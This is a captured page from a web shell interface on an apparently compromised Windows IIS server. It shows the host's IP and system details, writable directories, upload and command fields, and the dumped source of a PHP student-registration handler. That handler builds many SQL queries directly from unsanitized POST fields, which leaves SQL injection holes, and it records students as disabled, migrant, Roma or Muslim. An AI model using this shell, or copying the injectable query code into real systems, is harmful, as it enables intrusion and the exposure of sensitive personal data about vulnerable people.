403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/moke/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/moke/moke_form_m1.php
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">


<?php

include('C:\inetpub\wwwroot\moke\connect_moke.php');

$user_id=$_POST['user_id'];
$onoma=$_POST['onoma'];
$eponimo=$_POST['eponimo'];
$filo=$_POST['filo'];
$am=$_POST['am'];		
$tmhma=$_POST['tmhma'];
$sxoli=$_POST['sxoli'];
$examino=$_POST['examino'];
$ergasia=$_POST['ergasia'];
$hlikia=$_POST['hlikia'];
$omada=$_POST['omada'];
$epipedo=$_POST['epipedo'];
	
		
			$sql="insert into mke_users_forms (user_id, onoma, eponimo, fulo, am, tmhma, sxolh, examhno, ergasia, hlikia, omada, epipedo) 
			values ('$user_id', '$onoma', '$eponimo', '$filo', '$am', '$tmhma', '$sxoli', '$examino', '$ergasia', '$hlikia', '$omada', '$epipedo')";
			#echo $sql;
			$insert = mysql_query ($sql) or die(mysql_error());
	
			$sql="select username as un from mke_users where id=$user_id";
			#echo $sql;
			$select = mysql_query ($sql) or die(mysql_error());
			$row=mysql_fetch_array($select);
			$u=$row['un'];
			#echo $u;

			$sql="select email as em from mke_users where id=$user_id";
			#echo $sql;
			$select = mysql_query ($sql) or die(mysql_error());
			$row=mysql_fetch_array($select);
			$m=$row['em'];
			#echo $m;

			switch ($omada) {
				case 1:
					$erg="amea";
					break;
				case 2:
					$erg="metanastis";
					break;
				case 3:
					$erg="roma";
					break;
				case 4:
					$erg="mousoulmanos";
					break;
				case 5:
					$erg="allhmeionotita";
					break;
			}			
			
include('C:\inetpub\wwwroot\moke\connect_dasta.php');

if ($omada=='0') {
			$sql="insert into user (name, surname, aem, email, sector, username) 
				values ('$onoma', '$eponimo', '$am', '$m', '$tmhma', '$u')";
				#echo $sql;
				$insert = mysql_query ($sql) or die(mysql_error());
} else {
			$sql="insert into user (name, surname, aem, email, sector, username, $erg) 
				values ('$onoma', '$eponimo', '$am', '$m', '$tmhma', '$u', '1')";
				#echo $sql;
				$insert = mysql_query ($sql) or die(mysql_error());
}	


$sql="select id as uid from user where email='$m' and username='$u'";
#echo $sql;
$select = mysql_query ($sql) or die(mysql_error());
$row=mysql_fetch_array($select);
$ud=$row['uid'];
#echo $ud;

$sql="insert into userdata (user, userdatatitle, value) values ('$ud', '1', '$hlikia')";
#echo $sql;
$insert = mysql_query ($sql) or die(mysql_error());

$sql="insert into userdata (user, userdatatitle, value) values ('$ud', '2', '$filo')";
#echo $sql;
$insert = mysql_query ($sql) or die(mysql_error());

$sql="insert into userdata (user, userdatatitle, value) values ('$ud', '6', '$epipedo')";
#echo $sql;
$insert = mysql_query ($sql) or die(mysql_error());

$sql="insert into userdata (user, userdatatitle, value) values ('$ud', '7', '$ergasia')";
#echo $sql;
$insert = mysql_query ($sql) or die(mysql_error());
	
?>

<meta HTTP-EQUIV="REFRESH" content="0; url=http://moke.teiser.gr/index.php/form_info/77-2011-07-21-08-30-46/191">

Youez - 2016 - github.com/yon3zu
LinuXploit